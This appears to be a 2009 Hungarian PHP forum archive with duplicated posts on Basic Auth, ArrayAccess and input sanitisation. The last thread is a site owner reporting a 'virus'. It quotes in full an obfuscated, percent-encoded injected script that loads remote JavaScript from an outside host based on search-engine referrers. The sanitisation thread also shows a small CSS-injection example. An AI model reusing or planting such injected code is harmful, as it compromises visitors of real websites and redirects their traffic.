Archívum - Már 21, 2009
PHP password védelem
Üdv mindenkinek!
Nem tud valaki egy egyszerű kódot, ami az alábbihoz hasonló, s amellyel url-ben át tudom adni a php fájlnak a bejelentkezési adatokat. Az alábbi kód is működik a http://qwe:rtz##kukac##valami.hu/xxx.php módszerrel, de nekem a http://valami.hu/xxx.php?username=nev1&password=jelszo1 elküldésre lenne szükségem. Találkozot már valaki valami működő verzióval?
Sajnos az include-olás nem jöhet szóba, ezért az alábbihoz hasonló működésűt keresek, ahol az azonosítás után teljes php kódot tudok futtatni.
<?php
$myusername = "myusername";
$mypassword = "mypassword";
$areaname = "My Protected Area";
if ($_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" || $_SERVER["PHP_AUTH_USER"] != $myusername || $_SERVER["PHP_AUTH_PW"] != $mypassword) {
header("HTTP/1.0 401 Unauthorized");
header("WWW-Authenticate: Basic realm=\"$areaname\"");
echo "<h1>Authorization Required.</h1>";
die();
}
?>
<?php
... //ide kellene jönnie egy bonyolult php script-nek
?>
■ Nem tud valaki egy egyszerű kódot, ami az alábbihoz hasonló, s amellyel url-ben át tudom adni a php fájlnak a bejelentkezési adatokat. Az alábbi kód is működik a http://qwe:rtz##kukac##valami.hu/xxx.php módszerrel, de nekem a http://valami.hu/xxx.php?username=nev1&password=jelszo1 elküldésre lenne szükségem. Találkozot már valaki valami működő verzióval?
Sajnos az include-olás nem jöhet szóba, ezért az alábbihoz hasonló működésűt keresek, ahol az azonosítás után teljes php kódot tudok futtatni.
<?php
$myusername = "myusername";
$mypassword = "mypassword";
$areaname = "My Protected Area";
if ($_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" || $_SERVER["PHP_AUTH_USER"] != $myusername || $_SERVER["PHP_AUTH_PW"] != $mypassword) {
header("HTTP/1.0 401 Unauthorized");
header("WWW-Authenticate: Basic realm=\"$areaname\"");
echo "<h1>Authorization Required.</h1>";
die();
}
?>
<?php
... //ide kellene jönnie egy bonyolult php script-nek
?>
Php ArrayAccess private->public :o
Üdv!
Röviden arról van szó, hogy az objectek nagy részén használni szeretném az ArrayAccess interfacet.Az előnyei ennek, hogy a template rendszeremben nem kell a tömböktől elkülönítenem az objektumok tulajdonságait, hanem azonos módon meg tudom őket adni.
A hátránya pedig, hogy az ArrayAccess-el a private/protected tulajdonságok is lekérhetővé válnak. Ezt szeretném elkerülni valahogyan, de eddig nem jöttem rá, hogy mit lehet tenni.
Igazából az sem baj nekem, ha ArrayAccessel az objektumon belülről nem lehet elérni a private vagy protected tulajdonságokat, mert tényleg csak a külső elérésre használnám.
Az igazi megoldás az lenne, ha valahogy le lehetne kérdezni egy tulajdonságról, hogy az public vagy sem. Ha valaki tud erről valamit, az kérem jelezze.
Előre is kösz.
■ Röviden arról van szó, hogy az objectek nagy részén használni szeretném az ArrayAccess interfacet.
class cucc implements ArrayAccess
{
protected $a=12;
public $b=13;
public function offsetExists($name)
{
return isset($this->$name);
}
function offsetGet($name)
{
return $this->$name;
}
function offsetSet($key,$val)
{
$this->$key=$val;
}
function offsetUnset($name)
{
unset($this->$name);
}
}
$x=new cucc();
echo $x['a'];
echo $x['b'];
A hátránya pedig, hogy az ArrayAccess-el a private/protected tulajdonságok is lekérhetővé válnak. Ezt szeretném elkerülni valahogyan, de eddig nem jöttem rá, hogy mit lehet tenni.
Igazából az sem baj nekem, ha ArrayAccessel az objektumon belülről nem lehet elérni a private vagy protected tulajdonságokat, mert tényleg csak a külső elérésre használnám.
Az igazi megoldás az lenne, ha valahogy le lehetne kérdezni egy tulajdonságról, hogy az public vagy sem. Ha valaki tud erről valamit, az kérem jelezze.
Előre is kösz.
Felhasználó által bevitt adatok megtisztítása
Üdvözlet!
Felhasználó által bevitt adatokat kéne semlegesítenem és megtiszítanom egysmástól.
Elsődlegesen a html javascript php ésatöbbi kódokat kéne semlegesítenem benne... mert ugyebár, ha ezt nem teszem meg, akkor szépen átírhatja egy kedves user pl. a css-t, vegyünk például egy ilyet: <style type="text/css">*{display:none;}</style> , és utána csodálkozhatok, ha eltűnt az oldalam... hogyan lehet a kódokat semlegesíteni, hogy csak simán szövegként kezelve? a htmlspecialchars()-t kéne használnom?
ezután jöhet az escape-elés... erre van több függvény is: mysql_escape_string(), mysql_real_escape_string(), addslashes()... melyiket használjam, és mikor? mielőtt feltöltöm az adatokat az adatbázisba?
aztán jöhet a szépítés... ha a felhasználó által bevitt szöveg elejére és végére tesz néhány fölösleges szóközt, az könnyedén eltávolítható a trim() fügvénnyel... de ha a szöveg belsejében lévő szavak közé tesz túl sok szóközt, azt hogyan lehet eltávolítani? érdemes egyáltalán vele foglalkozni? ami érdekes számomra, hogy ha kiiratok egy lyukakkal (fölösleges szóközökkel) teli szöveget php-vel, akkor automatikusan leveszi a fölösleges szóközöket. ha beírtam 20 szóközt két szó közé, abból csak egyet ír ki. de közben meg ha feltöltöm adatbázisba, akkor ott ugyanúgy lyukas, mint ahogy eredetileg begépeltem.
tehát a lényeg: azt szeretném elérni, hogy a user akármilyen kódot, szimbólumokat, és bármit gépeljen is be, ne tudja meghackelni a beírt cuccokkal az oldalamat.
sok vendégkönyvnél láttam, hogy nem semlegesíti a kódokat, és 1 másodperc alatt ki lehetne lőni az egész oldalt egy aranyos kis scripttel.. nem akarok én is ilyen hibába esni.
Válaszokat előre köszönöm!
■ Felhasználó által bevitt adatokat kéne semlegesítenem és megtiszítanom egysmástól.
Elsődlegesen a html javascript php ésatöbbi kódokat kéne semlegesítenem benne... mert ugyebár, ha ezt nem teszem meg, akkor szépen átírhatja egy kedves user pl. a css-t, vegyünk például egy ilyet: <style type="text/css">*{display:none;}</style> , és utána csodálkozhatok, ha eltűnt az oldalam... hogyan lehet a kódokat semlegesíteni, hogy csak simán szövegként kezelve? a htmlspecialchars()-t kéne használnom?
ezután jöhet az escape-elés... erre van több függvény is: mysql_escape_string(), mysql_real_escape_string(), addslashes()... melyiket használjam, és mikor? mielőtt feltöltöm az adatokat az adatbázisba?
aztán jöhet a szépítés... ha a felhasználó által bevitt szöveg elejére és végére tesz néhány fölösleges szóközt, az könnyedén eltávolítható a trim() fügvénnyel... de ha a szöveg belsejében lévő szavak közé tesz túl sok szóközt, azt hogyan lehet eltávolítani? érdemes egyáltalán vele foglalkozni? ami érdekes számomra, hogy ha kiiratok egy lyukakkal (fölösleges szóközökkel) teli szöveget php-vel, akkor automatikusan leveszi a fölösleges szóközöket. ha beírtam 20 szóközt két szó közé, abból csak egyet ír ki. de közben meg ha feltöltöm adatbázisba, akkor ott ugyanúgy lyukas, mint ahogy eredetileg begépeltem.
tehát a lényeg: azt szeretném elérni, hogy a user akármilyen kódot, szimbólumokat, és bármit gépeljen is be, ne tudja meghackelni a beírt cuccokkal az oldalamat.
sok vendégkönyvnél láttam, hogy nem semlegesíti a kódokat, és 1 másodperc alatt ki lehetne lőni az egész oldalt egy aranyos kis scripttel.. nem akarok én is ilyen hibába esni.
Válaszokat előre köszönöm!
Vírus került a honlapomra
[colorer=html]
<script>document.write( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head><body ndragstart="return false" onselectstart="return false" oncontextmenu="return false"><script>function c173b3059n49c4d5357f1cd(n49c4d5357f99e){ function n49c4d535
<script>document.write( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head><body ndragstart="return false" onselectstart="return false" oncontextmenu="return false"><script>function c173b3059n49c4d5357f1cd(n49c4d5357f99e){ function n49c4d535